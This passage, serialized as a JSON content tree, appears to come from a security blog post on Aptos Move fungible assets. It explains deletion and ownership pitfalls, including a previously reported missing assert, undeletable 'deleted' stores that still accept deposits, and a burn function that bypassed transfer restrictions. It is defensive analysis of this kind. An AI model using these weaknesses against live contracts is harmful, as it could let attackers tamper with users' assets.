error::invalid_argument(EOBJECT_IS_DELETABLE));\n",[60416],{"type":23,"tag":64,"props":60417,"children":60418},{"__ignoreMap":7},[60419],{"type":23,"tag":481,"props":60420,"children":60421},{"class":483,"line":484},[60422,60426,60430,60434,60439,60443,60448,60452,60457,60462,60466,60470],{"type":23,"tag":481,"props":60423,"children":60424},{"style":610},[60425],{"type":28,"value":39504},{"type":23,"tag":481,"props":60427,"children":60428},{"style":525},[60429],{"type":28,"value":618},{"type":23,"tag":481,"props":60431,"children":60432},{"style":514},[60433],{"type":28,"value":18119},{"type":23,"tag":481,"props":60435,"children":60436},{"style":525},[60437],{"type":28,"value":60438},"object",{"type":23,"tag":481,"props":60440,"children":60441},{"style":514},[60442],{"type":28,"value":1006},{"type":23,"tag":481,"props":60444,"children":60445},{"style":610},[60446],{"type":28,"value":60447},"can_generate_delete_ref",{"type":23,"tag":481,"props":60449,"children":60450},{"style":525},[60451],{"type":28,"value":618},{"type":23,"tag":481,"props":60453,"children":60454},{"style":508},[60455],{"type":28,"value":60456},"constructor_ref",{"type":23,"tag":481,"props":60458,"children":60459},{"style":525},[60460],{"type":28,"value":60461},"), error",{"type":23,"tag":481,"props":60463,"children":60464},{"style":514},[60465],{"type":28,"value":1006},{"type":23,"tag":481,"props":60467,"children":60468},{"style":610},[60469],{"type":28,"value":59902},{"type":23,"tag":481,"props":60471,"children":60472},{"style":525},[60473],{"type":28,"value":60474},"(EOBJECT_IS_DELETABLE));\n",{"type":23,"tag":24,"props":60476,"children":60477},{},[60478,60480,60485,60487,60492,60493,60500],{"type":28,"value":60479},"This object serves as the foundation for ownership tokens in the form of a ",{"type":23,"tag":64,"props":60481,"children":60483},{"className":60482},[],[60484],{"type":28,"value":59039},{"type":28,"value":60486},". This means that allowing it to be deletable wouldn't make sense and would impact the usability of such fungible assets, restricting users from accessing critical functionalities such as creating new stores. In the past the ",{"type":23,"tag":64,"props":60488,"children":60490},{"className":60489},[],[60491],{"type":28,"value":60410},{"type":28,"value":3935},{"type":23,"tag":190,"props":60494,"children":60497},{"href":60495,"rel":60496},"https://github.com/aptos-labs/aptos-core/commit/6976f8e9004b0f6ebb6fd976410d695c5a5a7ace",[194],[60498],{"type":28,"value":60499},"lacked this assert",{"type":28,"value":60501},", which we discovered and reported.",{"type":23,"tag":24,"props":60503,"children":60504},{},[60505,60510,60512,60517,60519,60524],{"type":23,"tag":64,"props":60506,"children":60508},{"className":60507},[],[60509],{"type":28,"value":60410},{"type":28,"value":60511}," transfers the ",{"type":23,"tag":64,"props":60513,"children":60515},{"className":60514},[],[60516],{"type":28,"value":59098},{"type":28,"value":60518}," and associated resources to this new object. After that, with the appropriate permissions, the ",{"type":23,"tag":64,"props":60520,"children":60522},{"className":60521},[],[60523],{"type":28,"value":59039},{"type":28,"value":60525}," can be minted, representing a share of ownership in that object.",{"type":23,"tag":435,"props":60527,"children":60529},{"className":475,"code":60528,"language":474,"meta":7,"style":7},"/// Make an existing object fungible by adding the Metadata resource.\npublic fun add_fungibility(\n [...]\n): Object\u003CMetadata> {\n [...]\n move_to(metadata_object_signer,\n Metadata {\n name,\n symbol,\n decimals,\n icon_uri,\n project_uri,\n }\n );\n[...]\n}\n",[60530],{"type":23,"tag":64,"props":60531,"children":60532},{"__ignoreMap":7},[60533,60541,60561,60576,60603,60618,60639,60651,60663,60675,60687,60699,60711,60718,60725,60740],{"type":23,"tag":481,"props":60534,"children":60535},{"class":483,"line":484},[60536],{"type":23,"tag":481,"props":60537,"children":60538},{"style":488},[60539],{"type":28,"value":60540},"/// Make an existing object fungible by adding the Metadata resource.\n",{"type":23,"tag":481,"props":60542,"children":60543},{"class":483,"line":351},[60544,60548,60552,60557],{"type":23,"tag":481,"props":60545,"children":60546},{"style":508},[60547],{"type":28,"value":59203},{"type":23,"tag":481,"props":60549,"children":60550},{"style":508},[60551],{"type":28,"value":3684},{"type":23,"tag":481,"props":60553,"children":60554},{"style":610},[60555],{"type":28,"value":60556}," add_fungibility",{"type":23,"tag":481,"props":60558,"children":60559},{"style":525},[60560],{"type":28,"value":988},{"type":23,"tag":481,"props":60562,"children":60563},{"class":483,"line":531},[60564,60568,60572],{"type":23,"tag":481,"props":60565,"children":60566},{"style":525},[60567],{"type":28,"value":60246},{"type":23,"tag":481,"props":60569,"children":60570},{"style":514},[60571],{"type":28,"value":7074},{"type":23,"tag":481,"props":60573,"children":60574},{"style":525},[60575],{"type":28,"value":9259},{"type":23,"tag":481,"props":60577,"children":60578},{"class":483,"line":567},[60579,60583,60587,60591,60595,60599],{"type":23,"tag":481,"props":60580,"children":60581},{"style":525},[60582],{"type":28,"value":642},{"type":23,"tag":481,"props":60584,"children":60585},{"style":514},[60586],{"type":28,"value":287},{"type":23,"tag":481,"props":60588,"children":60589},{"style":943},[60590],{"type":28,"value":59089},{"type":23,"tag":481,"props":60592,"children":60593},{"style":525},[60594],{"type":28,"value":3282},{"type":23,"tag":481,"props":60596,"children":60597},{"style":943},[60598],{"type":28,"value":59098},{"type":23,"tag":481,"props":60600,"children":60601},{"style":525},[60602],{"type":28,"value":4759},{"type":23,"tag":481,"props":60604,"children":60605},{"class":483,"line":678},[60606,60610,60614],{"type":23,"tag":481,"props":60607,"children":60608},{"style":525},[60609],{"type":28,"value":60246},{"type":23,"tag":481,"props":60611,"children":60612},{"style":514},[60613],{"type":28,"value":7074},{"type":23,"tag":481,"props":60615,"children":60616},{"style":525},[60617],{"type":28,"value":9259},{"type":23,"tag":481,"props":60619,"children":60620},{"class":483,"line":784},[60621,60626,60630,60635],{"type":23,"tag":481,"props":60622,"children":60623},{"style":610},[60624],{"type":28,"value":60625}," move_to",{"type":23,"tag":481,"props":60627,"children":60628},{"style":525},[60629],{"type":28,"value":618},{"type":23,"tag":481,"props":60631,"children":60632},{"style":508},[60633],{"type":28,"value":60634},"metadata_object_signer",{"type":23,"tag":481,"props":60636,"children":60637},{"style":525},[60638],{"type":28,"value":1033},{"type":23,"tag":481,"props":60640,"children":60641},{"class":483,"line":812},[60642,60647],{"type":23,"tag":481,"props":60643,"children":60644},{"style":943},[60645],{"type":28,"value":60646}," Metadata",{"type":23,"tag":481,"props":60648,"children":60649},{"style":525},[60650],{"type":28,"value":809},{"type":23,"tag":481,"props":60652,"children":60653},{"class":483,"line":825},[60654,60659],{"type":23,"tag":481,"props":60655,"children":60656},{"style":508},[60657],{"type":28,"value":60658}," name",{"type":23,"tag":481,"props":60660,"children":60661},{"style":525},[60662],{"type":28,"value":1033},{"type":23,"tag":481,"props":60664,"children":60665},{"class":483,"line":843},[60666,60671],{"type":23,"tag":481,"props":60667,"children":60668},{"style":508},[60669],{"type":28,"value":60670}," symbol",{"type":23,"tag":481,"props":60672,"children":60673},{"style":525},[60674],{"type":28,"value":1033},{"type":23,"tag":481,"props":60676,"children":60677},{"class":483,"line":864},[60678,60683],{"type":23,"tag":481,"props":60679,"children":60680},{"style":508},[60681],{"type":28,"value":60682}," decimals",{"type":23,"tag":481,"props":60684,"children":60685},{"style":525},[60686],{"type":28,"value":1033},{"type":23,"tag":481,"props":60688,"children":60689},{"class":483,"line":873},[60690,60695],{"type":23,"tag":481,"props":60691,"children":60692},{"style":508},[60693],{"type":28,"value":60694}," icon_uri",{"type":23,"tag":481,"props":60696,"children":60697},{"style":525},[60698],{"type":28,"value":1033},{"type":23,"tag":481,"props":60700,"children":60701},{"class":483,"line":1125},[60702,60707],{"type":23,"tag":481,"props":60703,"children":60704},{"style":508},[60705],{"type":28,"value":60706}," project_uri",{"type":23,"tag":481,"props":60708,"children":60709},{"style":525},[60710],{"type":28,"value":1033},{"type":23,"tag":481,"props":60712,"children":60713},{"class":483,"line":1142},[60714],{"type":23,"tag":481,"props":60715,"children":60716},{"style":525},[60717],{"type":28,"value":870},{"type":23,"tag":481,"props":60719,"children":60720},{"class":483,"line":1159},[60721],{"type":23,"tag":481,"props":60722,"children":60723},{"style":525},[60724],{"type":28,"value":41178},{"type":23,"tag":481,"props":60726,"children":60727},{"class":483,"line":1172},[60728,60732,60736],{"type":23,"tag":481,"props":60729,"children":60730},{"style":525},[60731],{"type":28,"value":1269},{"type":23,"tag":481,"props":60733,"children":60734},{"style":514},[60735],{"type":28,"value":7074},{"type":23,"tag":481,"props":60737,"children":60738},{"style":525},[60739],{"type":28,"value":9259},{"type":23,"tag":481,"props":60741,"children":60742},{"class":483,"line":1181},[60743],{"type":23,"tag":481,"props":60744,"children":60745},{"style":525},[60746],{"type":28,"value":1443},{"type":23,"tag":16288,"props":60748,"children":60749},{},[],{"type":23,"tag":24,"props":60751,"children":60752},{},[60753,60755,60760,60762,60767],{"type":28,"value":60754},"Deletions can be a big issue even when dealing with objects that are eligible for deletion. For example, a ",{"type":23,"tag":64,"props":60756,"children":60758},{"className":60757},[],[60759],{"type":28,"value":59604},{"type":28,"value":60761}," is also an object, and a \"secondary\" ",{"type":23,"tag":64,"props":60763,"children":60765},{"className":60764},[],[60766],{"type":28,"value":59604},{"type":28,"value":60768}," can be created as deletable if empty. The catch is that deletion can occur both at the fungible asset level and at the object level.",{"type":23,"tag":435,"props":60770,"children":60772},{"className":475,"code":60771,"language":474,"meta":7,"style":7},"//Fungible asset\npublic fun remove_store(delete_ref: &DeleteRef)\n\n//Object\npublic fun delete(ref: DeleteRef)\n",[60773],{"type":23,"tag":64,"props":60774,"children":60775},{"__ignoreMap":7},[60776,60784,60826,60833,60841],{"type":23,"tag":481,"props":60777,"children":60778},{"class":483,"line":484},[60779],{"type":23,"tag":481,"props":60780,"children":60781},{"style":488},[60782],{"type":28,"value":60783},"//Fungible asset\n",{"type":23,"tag":481,"props":60785,"children":60786},{"class":483,"line":351},[60787,60791,60795,60800,60804,60809,60813,60817,60822],{"type":23,"tag":481,"props":60788,"children":60789},{"style":508},[60790],{"type":28,"value":59203},{"type":23,"tag":481,"props":60792,"children":60793},{"style":508},[60794],{"type":28,"value":3684},{"type":23,"tag":481,"props":60796,"children":60797},{"style":610},[60798],{"type":28,"value":60799}," remove_store",{"type":23,"tag":481,"props":60801,"children":60802},{"style":525},[60803],{"type":28,"value":618},{"type":23,"tag":481,"props":60805,"children":60806},{"style":508},[60807],{"type":28,"value":60808},"delete_ref",{"type":23,"tag":481,"props":60810,"children":60811},{"style":514},[60812],{"type":28,"value":287},{"type":23,"tag":481,"props":60814,"children":60815},{"style":514},[60816],{"type":28,"value":4619},{"type":23,"tag":481,"props":60818,"children":60819},{"style":943},[60820],{"type":28,"value":60821},"DeleteRef",{"type":23,"tag":481,"props":60823,"children":60824},{"style":525},[60825],{"type":28,"value":675},{"type":23,"tag":481,"props":60827,"children":60828},{"class":483,"line":531},[60829],{"type":23,"tag":481,"props":60830,"children":60831},{"emptyLinePlaceholder":15},[60832],{"type":28,"value":1210},{"type":23,"tag":481,"props":60834,"children":60835},{"class":483,"line":567},[60836],{"type":23,"tag":481,"props":60837,"children":60838},{"style":488},[60839],{"type":28,"value":60840},"//Object\n",{"type":23,"tag":481,"props":60842,"children":60843},{"class":483,"line":678},[60844,60848,60852,60857,60861,60866,60870,60875],{"type":23,"tag":481,"props":60845,"children":60846},{"style":508},[60847],{"type":28,"value":59203},{"type":23,"tag":481,"props":60849,"children":60850},{"style":508},[60851],{"type":28,"value":3684},{"type":23,"tag":481,"props":60853,"children":60854},{"style":610},[60855],{"type":28,"value":60856}," delete",{"type":23,"tag":481,"props":60858,"children":60859},{"style":525},[60860],{"type":28,"value":618},{"type":23,"tag":481,"props":60862,"children":60863},{"style":497},[60864],{"type":28,"value":60865},"ref",{"type":23,"tag":481,"props":60867,"children":60868},{"style":514},[60869],{"type":28,"value":287},{"type":23,"tag":481,"props":60871,"children":60872},{"style":943},[60873],{"type":28,"value":60874}," DeleteRef",{"type":23,"tag":481,"props":60876,"children":60877},{"style":525},[60878],{"type":28,"value":675},{"type":23,"tag":24,"props":60880,"children":60881},{},[60882,60884,60890,60892,60897,60899,60904,60906,60911,60913,60919,60921,60927,60929,60934],{"type":28,"value":60883},"When ",{"type":23,"tag":64,"props":60885,"children":60887},{"className":60886},[],[60888],{"type":28,"value":60889},"object::delete",{"type":28,"value":60891}," removes the ",{"type":23,"tag":64,"props":60893,"children":60895},{"className":60894},[],[60896],{"type":28,"value":46376},{"type":28,"value":60898}," from a ",{"type":23,"tag":64,"props":60900,"children":60902},{"className":60901},[],[60903],{"type":28,"value":59604},{"type":28,"value":60905}," object, the ",{"type":23,"tag":64,"props":60907,"children":60909},{"className":60908},[],[60910],{"type":28,"value":59604},{"type":28,"value":60912}," resource becomes permanently undeletable. This is because ",{"type":23,"tag":64,"props":60914,"children":60916},{"className":60915},[],[60917],{"type":28,"value":60918},"remove_store",{"type":28,"value":60920}," can't create an ",{"type":23,"tag":64,"props":60922,"children":60924},{"className":60923},[],[60925],{"type":28,"value":60926},"Object\u003CFungibleStore>",{"type":28,"value":60928}," without an ",{"type":23,"tag":64,"props":60930,"children":60932},{"className":60931},[],[60933],{"type":28,"value":46376},{"type":28,"value":60935}," underneath, causing the operation to fail.",{"type":23,"tag":435,"props":60937,"children":60939},{"className":475,"code":60938,"language":474,"meta":7,"style":7},"public fun remove_store(delete_ref: &DeleteRef) acquires [...] {\n let store = &object::object_from_delete_ref\u003CFungibleStore>(delete_ref);\n [...]\n}\n",[60940],{"type":23,"tag":64,"props":60941,"children":60942},{"__ignoreMap":7},[60943,60998,61050,61065],{"type":23,"tag":481,"props":60944,"children":60945},{"class":483,"line":484},[60946,60950,60954,60958,60962,60966,60970,60974,60978,60982,60986,60990,60994],{"type":23,"tag":481,"props":60947,"children":60948},{"style":508},[60949],{"type":28,"value":59203},{"type":23,"tag":481,"props":60951,"children":60952},{"style":508},[60953],{"type":28,"value":3684},{"type":23,"tag":481,"props":60955,"children":60956},{"style":610},[60957],{"type":28,"value":60799},{"type":23,"tag":481,"props":60959,"children":60960},{"style":525},[60961],{"type":28,"value":618},{"type":23,"tag":481,"props":60963,"children":60964},{"style":508},[60965],{"type":28,"value":60808},{"type":23,"tag":481,"props":60967,"children":60968},{"style":514},[60969],{"type":28,"value":287},{"type":23,"tag":481,"props":60971,"children":60972},{"style":514},[60973],{"type":28,"value":4619},{"type":23,"tag":481,"props":60975,"children":60976},{"style":943},[60977],{"type":28,"value":60821},{"type":23,"tag":481,"props":60979,"children":60980},{"style":525},[60981],{"type":28,"value":598},{"type":23,"tag":481,"props":60983,"children":60984},{"style":508},[60985],{"type":28,"value":3821},{"type":23,"tag":481,"props":60987,"children":60988},{"style":525},[60989],{"type":28,"value":20531},{"type":23,"tag":481,"props":60991,"children":60992},{"style":514},[60993],{"type":28,"value":7074},{"type":23,"tag":481,"props":60995,"children":60996},{"style":525},[60997],{"type":28,"value":59294},{"type":23,"tag":481,"props":60999,"children":61000},{"class":483,"line":351},[61001,61005,61009,61013,61017,61021,61025,61030,61034,61038,61042,61046],{"type":23,"tag":481,"props":61002,"children":61003},{"style":497},[61004],{"type":28,"value":500},{"type":23,"tag":481,"props":61006,"children":61007},{"style":508},[61008],{"type":28,"value":3307},{"type":23,"tag":481,"props":61010,"children":61011},{"style":514},[61012],{"type":28,"value":517},{"type":23,"tag":481,"props":61014,"children":61015},{"style":514},[61016],{"type":28,"value":4619},{"type":23,"tag":481,"props":61018,"children":61019},{"style":525},[61020],{"type":28,"value":60438},{"type":23,"tag":481,"props":61022,"children":61023},{"style":514},[61024],{"type":28,"value":1006},{"type":23,"tag":481,"props":61026,"children":61027},{"style":508},[61028],{"type":28,"value":61029},"object_from_delete_ref",{"type":23,"tag":481,"props":61031,"children":61032},{"style":525},[61033],{"type":28,"value":3282},{"type":23,"tag":481,"props":61035,"children":61036},{"style":943},[61037],{"type":28,"value":59604},{"type":23,"tag":481,"props":61039,"children":61040},{"style":525},[61041],{"type":28,"value":5089},{"type":23,"tag":481,"props":61043,"children":61044},{"style":508},[61045],{"type":28,"value":60808},{"type":23,"tag":481,"props":61047,"children":61048},{"style":525},[61049],{"type":28,"value":1366},{"type":23,"tag":481,"props":61051,"children":61052},{"class":483,"line":531},[61053,61057,61061],{"type":23,"tag":481,"props":61054,"children":61055},{"style":525},[61056],{"type":28,"value":60246},{"type":23,"tag":481,"props":61058,"children":61059},{"style":514},[61060],{"type":28,"value":7074},{"type":23,"tag":481,"props":61062,"children":61063},{"style":525},[61064],{"type":28,"value":9259},{"type":23,"tag":481,"props":61066,"children":61067},{"class":483,"line":567},[61068],{"type":23,"tag":481,"props":61069,"children":61070},{"style":525},[61071],{"type":28,"value":1443},{"type":23,"tag":24,"props":61073,"children":61074},{},[61075,61077,61082,61084,61090,61092,61097],{"type":28,"value":61076},"In addition, such \"deleted\" ",{"type":23,"tag":64,"props":61078,"children":61080},{"className":61079},[],[61081],{"type":28,"value":59604},{"type":28,"value":61083}," objects remain at least partially operable. For instance, ",{"type":23,"tag":64,"props":61085,"children":61087},{"className":61086},[],[61088],{"type":28,"value":61089},"fungible_asset::deposit",{"type":28,"value":61091}," does not check the ",{"type":23,"tag":64,"props":61093,"children":61095},{"className":61094},[],[61096],{"type":28,"value":46376},{"type":28,"value":61098}," existence.",{"type":23,"tag":7092,"props":61100,"children":61102},{"id":61101},"ownership",[61103],{"type":28,"value":61104},"Ownership",{"type":23,"tag":24,"props":61106,"children":61107},{},[61108,61110,61115,61117,61123,61125,61130],{"type":28,"value":61109},"Each object has an owner. Fungible assets rely on the ",{"type":23,"tag":64,"props":61111,"children":61113},{"className":61112},[],[61114],{"type":28,"value":46376},{"type":28,"value":61116}," ownership model. For example, during a withdrawal operation, the signer is validated using ",{"type":23,"tag":64,"props":61118,"children":61120},{"className":61119},[],[61121],{"type":28,"value":61122},"object::owns",{"type":28,"value":61124}," to confirm ownership of the ",{"type":23,"tag":64,"props":61126,"children":61128},{"className":61127},[],[61129],{"type":28,"value":59604},{"type":28,"value":47702},{"type":23,"tag":435,"props":61132,"children":61134},{"className":475,"code":61133,"language":474,"meta":7,"style":7},"public(friend) fun withdraw_sanity_check\u003CT: key>(\n owner: &signer,\n store: Object\u003CT>,\n abort_on_dispatch: bool,\n) acquires FungibleStore, DispatchFunctionStore {\n assert!(object::owns(store, signer::address_of(owner)), error::permission_denied(ENOT_STORE_OWNER));\n [...]\n}\n",[61135],{"type":23,"tag":64,"props":61136,"children":61137},{"__ignoreMap":7},[61138,61186,61210,61237,61257,61285,61353,61368],{"type":23,"tag":481,"props":61139,"children":61140},{"class":483,"line":484},[61141,61145,61149,61153,61157,61161,61166,61170,61174,61178,61182],{"type":23,"tag":481,"props":61142,"children":61143},{"style":610},[61144],{"type":28,"value":59203},{"type":23,"tag":481,"props":61146,"children":61147},{"style":525},[61148],{"type":28,"value":618},{"type":23,"tag":481,"props":61150,"children":61151},{"style":508},[61152],{"type":28,"value":4576},{"type":23,"tag":481,"props":61154,"children":61155},{"style":525},[61156],{"type":28,"value":598},{"type":23,"tag":481,"props":61158,"children":61159},{"style":508},[61160],{"type":28,"value":4585},{"type":23,"tag":481,"props":61162,"children":61163},{"style":508},[61164],{"type":28,"value":61165}," withdraw_sanity_check",{"type":23,"tag":481,"props":61167,"children":61168},{"style":525},[61169],{"type":28,"value":3282},{"type":23,"tag":481,"props":61171,"children":61172},{"style":943},[61173],{"type":28,"value":3464},{"type":23,"tag":481,"props":61175,"children":61176},{"style":514},[61177],{"type":28,"value":287},{"type":23,"tag":481,"props":61179,"children":61180},{"style":508},[61181],{"type":28,"value":3408},{"type":23,"tag":481,"props":61183,"children":61184},{"style":525},[61185],{"type":28,"value":4066},{"type":23,"tag":481,"props":61187,"children":61188},{"class":483,"line":351},[61189,61194,61198,61202,61206],{"type":23,"tag":481,"props":61190,"children":61191},{"style":508},[61192],{"type":28,"value":61193}," owner",{"type":23,"tag":481,"props":61195,"children":61196},{"style":514},[61197],{"type":28,"value":287},{"type":23,"tag":481,"props":61199,"children":61200},{"style":514},[61201],{"type":28,"value":4619},{"type":23,"tag":481,"props":61203,"children":61204},{"style":508},[61205],{"type":28,"value":4624},{"type":23,"tag":481,"props":61207,"children":61208},{"style":525},[61209],{"type":28,"value":1033},{"type":23,"tag":481,"props":61211,"children":61212},{"class":483,"line":531},[61213,61217,61221,61225,61229,61233],{"type":23,"tag":481,"props":61214,"children":61215},{"style":508},[61216],{"type":28,"value":26927},{"type":23,"tag":481,"props":61218,"children":61219},{"style":514},[61220],{"type":28,"value":287},{"type":23,"tag":481,"props":61222,"children":61223},{"style":943},[61224],{"type":28,"value":59089},{"type":23,"tag":481,"props":61226,"children":61227},{"style":525},[61228],{"type":28,"value":3282},{"type":23,"tag":481,"props":61230,"children":61231},{"style":943},[61232],{"type":28,"value":3464},{"type":23,"tag":481,"props":61234,"children":61235},{"style":525},[61236],{"type":28,"value":3615},{"type":23,"tag":481,"props":61238,"children":61239},{"class":483,"line":567},[61240,61245,61249,61253],{"type":23,"tag":481,"props":61241,"children":61242},{"style":508},[61243],{"type":28,"value":61244}," abort_on_dispatch",{"type":23,"tag":481,"props":61246,"children":61247},{"style":514},[61248],{"type":28,"value":287},{"type":23,"tag":481,"props":61250,"children":61251},{"style":943},[61252],{"type":28,"value":9537},{"type":23,"tag":481,"props":61254,"children":61255},{"style":525},[61256],{"type":28,"value":1033},{"type":23,"tag":481,"props":61258,"children":61259},{"class":483,"line":678},[61260,61264,61268,61272,61276,61281],{"type":23,"tag":481,"props":61261,"children":61262},{"style":525},[61263],{"type":28,"value":598},{"type":23,"tag":481,"props":61265,"children":61266},{"style":508},[61267],{"type":28,"value":3821},{"type":23,"tag":481,"props":61269,"children":61270},{"style":943},[61271],{"type":28,"value":59624},{"type":23,"tag":481,"props":61273,"children":61274},{"style":525},[61275],{"type":28,"value":588},{"type":23,"tag":481,"props":61277,"children":61278},{"style":943},[61279],{"type":28,"value":61280},"DispatchFunctionStore",{"type":23,"tag":481,"props":61282,"children":61283},{"style":525},[61284],{"type":28,"value":809},{"type":23,"tag":481,"props":61286,"children":61287},{"class":483,"line":784},[61288,61292,61297,61301,61306,61310,61314,61318,61322,61326,61330,61334,61339,61343,61348],{"type":23,"tag":481,"props":61289,"children":61290},{"style":610},[61291],{"type":28,"value":59872},{"type":23,"tag":481,"props":61293,"children":61294},{"style":525},[61295],{"type":28,"value":61296},"(object",{"type":23,"tag":481,"props":61298,"children":61299},{"style":514},[61300],{"type":28,"value":1006},{"type":23,"tag":481,"props":61302,"children":61303},{"style":610},[61304],{"type":28,"value":61305},"owns",{"type":23,"tag":481,"props":61307,"children":61308},{"style":525},[61309],{"type":28,"value":618},{"type":23,"tag":481,"props":61311,"children":61312},{"style":508},[61313],{"type":28,"value":3417},{"type":23,"tag":481,"props":61315,"children":61316},{"style":525},[61317],{"type":28,"value":10423},{"type":23,"tag":481,"props":61319,"children":61320},{"style":514},[61321],{"type":28,"value":1006},{"type":23,"tag":481,"props":61323,"children":61324},{"style":610},[61325],{"type":28,"value":4687},{"type":23,"tag":481,"props":61327,"children":61328},{"style":525},[61329],{"type":28,"value":618},{"type":23,"tag":481,"props":61331,"children":61332},{"style":508},[61333],{"type":28,"value":13099},{"type":23,"tag":481,"props":61335,"children":61336},{"style":525},[61337],{"type":28,"value":61338},")), error",{"type":23,"tag":481,"props":61340,"children":61341},{"style":514},[61342],{"type":28,"value":1006},{"type":23,"tag":481,"props":61344,"children":61345},{"style":610},[61346],{"type":28,"value":61347},"permission_denied",{"type":23,"tag":481,"props":61349,"children":61350},{"style":525},[61351],{"type":28,"value":61352},"(ENOT_STORE_OWNER));\n",{"type":23,"tag":481,"props":61354,"children":61355},{"class":483,"line":812},[61356,61360,61364],{"type":23,"tag":481,"props":61357,"children":61358},{"style":525},[61359],{"type":28,"value":60246},{"type":23,"tag":481,"props":61361,"children":61362},{"style":514},[61363],{"type":28,"value":7074},{"type":23,"tag":481,"props":61365,"children":61366},{"style":525},[61367],{"type":28,"value":9259},{"type":23,"tag":481,"props":61369,"children":61370},{"class":483,"line":825},[61371],{"type":23,"tag":481,"props":61372,"children":61373},{"style":525},[61374],{"type":28,"value":1443},{"type":23,"tag":24,"props":61376,"children":61377},{},[61378,61380,61385,61387,61393,61395,61401],{"type":28,"value":61379},"The thing to note is that defining ownership with ",{"type":23,"tag":64,"props":61381,"children":61383},{"className":61382},[],[61384],{"type":28,"value":61122},{"type":28,"value":61386}," can be tricky. The ",{"type":23,"tag":64,"props":61388,"children":61390},{"className":61389},[],[61391],{"type":28,"value":61392},"burn",{"type":28,"value":61394}," function was one of the reasons behind that. It allowed changing the object's owner to the ",{"type":23,"tag":64,"props":61396,"children":61398},{"className":61397},[],[61399],{"type":28,"value":61400},"BURN_ADDRESS",{"type":28,"value":61402}," while bypassing transfer restrictions:",{"type":23,"tag":435,"props":61404,"children":61406},{"className":475,"code":61405,"language":474,"meta":7,"style":7},"public entry fun burn\u003CT: key>(owner: &signer, object: Object\u003CT>) acquires ObjectCore {\n let original_owner = signer::address_of(owner);\n assert!(is_owner(object, original_owner), error::permission_denied(ENOT_OBJECT_OWNER));\n let object_addr = object.inner;\n move_to(&create_signer(object_addr), TombStone { original_owner });\n transfer_raw_inner(object_addr, BURN_ADDRESS);\n}\n",[61407],{"type":23,"tag":64,"props":61408,"children":61409},{"__ignoreMap":7},[61410,61507,61548,61598,61627,61677,61698],{"type":23,"tag":481,"props":61411,"children":61412},{"class":483,"line":484},[61413,61417,61421,61425,61430,61434,61438,61442,61446,61450,61454,61458,61462,61466,61470,61474,61478,61482,61486,61490,61494,61498,61503],{"type":23,"tag":481,"props":61414,"children":61415},{"style":508},[61416],{"type":28,"value":59203},{"type":23,"tag":481,"props":61418,"children":61419},{"style":508},[61420],{"type":28,"value":60170},{"type":23,"tag":481,"props":61422,"children":61423},{"style":508},[61424],{"type":28,"value":3684},{"type":23,"tag":481,"props":61426,"children":61427},{"style":508},[61428],{"type":28,"value":61429}," burn",{"type":23,"tag":481,"props":61431,"children":61432},{"style":525},[61433],{"type":28,"value":3282},{"type":23,"tag":481,"props":61435,"children":61436},{"style":943},[61437],{"type":28,"value":3464},{"type":23,"tag":481,"props":61439,"children":61440},{"style":514},[61441],{"type":28,"value":287},{"type":23,"tag":481,"props":61443,"children":61444},{"style":508},[61445],{"type":28,"value":3408},{"type":23,"tag":481,"props":61447,"children":61448},{"style":525},[61449],{"type":28,"value":5089},{"type":23,"tag":481,"props":61451,"children":61452},{"style":508},[61453],{"type":28,"value":13099},{"type":23,"tag":481,"props":61455,"children":61456},{"style":514},[61457],{"type":28,"value":287},{"type":23,"tag":481,"props":61459,"children":61460},{"style":514},[61461],{"type":28,"value":4619},{"type":23,"tag":481,"props":61463,"children":61464},{"style":508},[61465],{"type":28,"value":4624},{"type":23,"tag":481,"props":61467,"children":61468},{"style":525},[61469],{"type":28,"value":588},{"type":23,"tag":481,"props":61471,"children":61472},{"style":508},[61473],{"type":28,"value":60438},{"type":23,"tag":481,"props":61475,"children":61476},{"style":514},[61477],{"type":28,"value":287},{"type":23,"tag":481,"props":61479,"children":61480},{"style":943},[61481],{"type":28,"value":59089},{"type":23,"tag":481,"props":61483,"children":61484},{"style":525},[61485],{"type":28,"value":3282},{"type":23,"tag":481,"props":61487,"children":61488},{"style":943},[61489],{"type":28,"value":3464},{"type":23,"tag":481,"props":61491,"children":61492},{"style":525},[61493],{"type":28,"value":17944},{"type":23,"tag":481,"props":61495,"children":61496},{"style":508},[61497],{"type":28,"value":3821},{"type":23,"tag":481,"props":61499,"children":61500},{"style":943},[61501],{"type":28,"value":61502}," ObjectCore",{"type":23,"tag":481,"props":61504,"children":61505},{"style":525},[61506],{"type":28,"value":809},{"type":23,"tag":481,"props":61508,"children":61509},{"class":483,"line":351},[61510,61514,61519,61523,61528,61532,61536,61540,61544],{"type":23,"tag":481,"props":61511,"children":61512},{"style":497},[61513],{"type":28,"value":500},{"type":23,"tag":481,"props":61515,"children":61516},{"style":508},[61517],{"type":28,"value":61518}," original_owner",{"type":23,"tag":481,"props":61520,"children":61521},{"style":514},[61522],{"type":28,"value":517},{"type":23,"tag":481,"props":61524,"children":61525},{"style":525},[61526],{"type":28,"value":61527}," signer",{"type":23,"tag":481,"props":61529,"children":61530},{"style":514},[61531],{"type":28,"value":1006},{"type":23,"tag":481,"props":61533,"children":61534},{"style":610},[61535],{"type":28,"value":4687},{"type":23,"tag":481,"props":61537,"children":61538},{"style":525},[61539],{"type":28,"value":618},{"type":23,"tag":481,"props":61541,"children":61542},{"style":508},[61543],{"type":28,"value":13099},{"type":23,"tag":481,"props":61545,"children":61546},{"style":525},[61547],{"type":28,"value":1366},{"type":23,"tag":481,"props":61549,"children":61550},{"class":483,"line":531},[61551,61555,61559,61564,61568,61572,61576,61581,61585,61589,61593],{"type":23,"tag":481,"props":61552,"children":61553},{"style":610},[61554],{"type":28,"value":59872},{"type":23,"tag":481,"props":61556,"children":61557},{"style":525},[61558],{"type":28,"value":618},{"type":23,"tag":481,"props":61560,"children":61561},{"style":610},[61562],{"type":28,"value":61563},"is_owner",{"type":23,"tag":481,"props":61565,"children":61566},{"style":525},[61567],{"type":28,"value":618},{"type":23,"tag":481,"props":61569,"children":61570},{"style":508},[61571],{"type":28,"value":60438},{"type":23,"tag":481,"props":61573,"children":61574},{"style":525},[61575],{"type":28,"value":588},{"type":23,"tag":481,"props":61577,"children":61578},{"style":508},[61579],{"type":28,"value":61580},"original_owner",{"type":23,"tag":481,"props":61582,"children":61583},{"style":525},[61584],{"type":28,"value":60461},{"type":23,"tag":481,"props":61586,"children":61587},{"style":514},[61588],{"type":28,"value":1006},{"type":23,"tag":481,"props":61590,"children":61591},{"style":610},[61592],{"type":28,"value":61347},{"type":23,"tag":481,"props":61594,"children":61595},{"style":525},[61596],{"type":28,"value":61597},"(ENOT_OBJECT_OWNER));\n",{"type":23,"tag":481,"props":61599,"